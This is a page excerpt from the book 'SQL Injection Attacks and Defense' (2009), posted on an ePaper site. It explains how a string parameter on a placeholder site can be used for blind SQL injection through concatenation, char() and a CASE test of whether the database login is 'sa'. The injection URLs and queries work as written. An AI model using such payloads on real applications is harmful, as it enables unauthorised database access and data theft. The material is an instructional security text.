28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

162 Chapter 4 • Exploiting <strong>SQL</strong> <strong>Injection</strong><br />

user to retrieve all the products that are produced by a certain br<strong>and</strong>, <strong>and</strong> that this function<br />

is called via the following URL:<br />

http://www.victim.com/search.asp?br<strong>and</strong>=acme<br />

This URL, when called, performs the following query in the back-end database:<br />

SELECT * FROM products WHERE br<strong>and</strong> = 'acme'<br />

What happens if we slightly modify the br<strong>and</strong> parameter? Let’s say we substitute the m<br />

with an l. The resultant URL will be the following:<br />

http://www.victim.com/search.asp?br<strong>and</strong>=acle<br />

This URL will likely return something very different; probably an empty result set, or in<br />

any case a very different one.<br />

Whatever the exact result of the second URL is, if the br<strong>and</strong> parameter is injectable, it is<br />

easy to extract data by playing a bit with string concatenation. Let’s analyze the process step<br />

by step. The string to be passed as a parameter can obviously be split into two parts:<br />

http://www.victim.com/search.asp?br<strong>and</strong>=acm'%2B'e<br />

Because %2B is the URL-encoded version of the plus sign, the resultant query<br />

(for Microsoft <strong>SQL</strong> Server) will be the following:<br />

SELECT * FROM products WHERE br<strong>and</strong> = 'acm'+'e'<br />

This query is obviously equivalent to the previous one, <strong>and</strong> therefore the resultant<br />

HTML page will not vary. We can push this one step further, <strong>and</strong> split the parameter into<br />

three parts instead of two:<br />

http://www.victim.com/search.asp?br<strong>and</strong>=ac'%2B'm'%2B'e<br />

Now, the character m in T-<strong>SQL</strong> can be expressed with the char() function, which takes a<br />

number as a parameter <strong>and</strong> returns the corresponding ASCII character. Because the ASCII<br />

value of m is 109 (or 0x6D in hexadecimal), we can further modify the URL as follows:<br />

http://www.victim.com/search.asp?br<strong>and</strong>=ac'%2Bchar(109)%2B'e<br />

The resultant query will therefore become:<br />

SELECT * FROM products WHERE br<strong>and</strong> = 'ac'+char(109)+'e'<br />

Again, the query will still return the same results, but this time we have a numeric<br />

parameter that we can play with, so we can easily replicate what we saw in the previous<br />

section by submitting the following request:<br />

http://www.victim.com/search.asp?br<strong>and</strong>=ac'%2Bchar(108%2B(case+when+<br />

(system_user+=+'sa')+then+1+else+0+end)%2B'e<br />

It looks a bit complicated now, but let’s see what is going on in the resultant query:<br />

SELECT * FROM products WHERE br<strong>and</strong> = 'ac'+char(108+(case<br />

when+(system_user='sa') then 1 else 0 end) + 'e'

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!